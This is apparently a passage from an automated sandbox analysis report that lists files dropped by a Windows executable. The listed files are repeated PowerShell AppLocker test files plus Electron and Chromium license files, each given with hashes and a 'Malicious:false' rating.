                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r0fi0r0v.wqf.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rtcegwwc.uya.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgvevm5l.s0q.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sq11spse.aww.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ug4odiwf.or3.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ugcurbnz.vaq.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ugxv05sm.o3o.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vkwwspjs.qb2.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vnxmmyht.xbo.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wctz10no.ece.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wisc3adk.p5a.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wyrrzrfe.qlh.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x0ycfmuz.rvu.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x1pflh0f.yps.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xegpp0hc.0zv.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ybukhzj4.5nk.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ygih4iqz.3le.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zacvmbec.emq.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zr0dkhtu.cpz.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\LICENSE.electron.txt

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:ASCII text
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):1096
                                                                                                                                                                                                                                                                Entropy (8bit):5.13006727705212
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                                                                                                                                                                MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                                                                                                                                                                SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                                                                                                                                                                SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                                                                                                                                                                SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\LICENSES.chromium.html

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:HTML document, ASCII text
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):8312662
                                                                                                                                                                                                                                                                Entropy (8bit):4.705814170451806
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:24576:dbTy6TU675kfWScRQfJw91SmfJB6i6e6R626X8HHdE/pG6:tygpj
                                                                                                                                                                                                                                                                MD5:312446EDF757F7E92AAD311F625CEF2A
                                                                                                                                                                                                                                                                SHA1:91102D30D5ABCFA7B6EC732E3682FB9C77279BA3
                                                                                                                                                                                                                                                                SHA-256:C2656201AC86438D062673771E33E44D6D5E97670C3160E0DE1CB0BD5FBBAE9B
                                                                                                                                                                                                                                                                SHA-512:DCE01F2448A49A0E6F08BBDE6570F76A87DCC81179BB51D5E2642AD033EE81AE3996800363826A65485AB79085572BBACE51409AE7102ED1A12DF65018676333
                                                                                                                                                                                                                                                                Malicious:false
